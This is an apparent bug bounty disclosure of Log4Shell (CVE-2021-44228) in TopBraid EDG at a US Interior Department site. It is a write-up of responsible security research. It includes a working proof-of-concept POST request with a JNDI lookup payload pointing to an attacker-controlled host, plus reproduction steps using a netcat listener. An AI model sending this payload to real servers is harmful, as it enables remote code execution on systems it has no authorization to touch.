Log4Shell (CVE-2021-44228)
The report claims that a TopBraid EDG instance at a US government domain runs a Log4j version vulnerable to Log4Shell, and that a crafted request parameter triggers an outbound JNDI lookup. An attacker could use this to achieve remote code execution on the server.
- Accepted in 25 hours
- Fixed in 29 days
- Disclosed after 29 days
Summary by aminei
Log4Shell in TopbraidEDG before version 7.0.4 when a security filter is turned off.
Report details
-
Submitted
16 Jan 2022 23:14:25 UTC
-
Target Location
*.doi.gov -
Target category
Web App
-
VRT
Server-Side Injection > Remote Code Execution (RCE)
-
Priority
P1
-
Bug URL
https://datainventory.doi.gov/explorer/tbl/swp -
Description
Overview
Log4Shell is exploitable in datainventory.doi.gov which uses TopBraid EDG 7.0.3. This version is vulnerable to Log4Shell. I managed to find a vulnerable endpoint with a working proof of concept.
Base score: 10 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:HWalkthrough & PoC
First go to https://datainventory.doi.gov/explorer/ and click on "Enter explorer" to login as explorer.
Then setup a listener on port 22 on a server you control using for instance netcat:
Once logged in as explorer, send the following request using a proxy such as BurpSuite:
POST /explorer/tbl/swp HTTP/1.1 Host: datainventory.doi.gov Content-Type: application/x-www-form-urlencoded;charset=utf-8 Content-Length: 155 Cookie: browserCompatibility=checked; JSESSIONID=YOUR_JSESSIONID_COOKIE _viewClass=teamwork%3ACommentAndTaskCountService&resource=urn%3Ax-evn-master%3Awf_core_ent_nwcg_org&_base=http%3A%2F%2Frdfex.o${jndi:ldap://YOUR_IP:22}Please replace the IP in the
${jndi:ldap://YOUR_IP:22}with an IP you control and send the request. The datainventory server will succesfully query the endpoint.I have not exploited the server further because it would lead to a remote code execution. I don't feel comfortable doing so on a US department of interior server without prior authorization.
Demonstrated Impact
An malicious attacker could obtain a shell via remote code execution on the server.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application logs user-controlled request parameters through a vulnerable Log4j version that resolves JNDI lookups in logged strings.
Impact
The reporter states an attacker could obtain a shell via remote code execution, but did not attempt further exploitation beyond the outbound lookup.
What the attacker needed
Access to the explorer login; attacker-controlled server for the lookup
The fix
Upgrade TopBraid EDG to a version that ships a patched Log4j, as the report notes version 7.0.4 is not affected.
How it was found
- Open the explorer page and log in as the explorer user.
- Start a listener on a server you control.
- Send a crafted POST request to the table endpoint with a parameter containing a JNDI lookup.
- Observe the target server making an outbound connection to your listener.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Log4j is a logging library used by many Java applications. Log4Shell is a flaw where text that gets logged can contain a special lookup instruction, and the library then fetches something from an address the attacker chooses. That fetch can lead to the attacker running their own code on the server.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.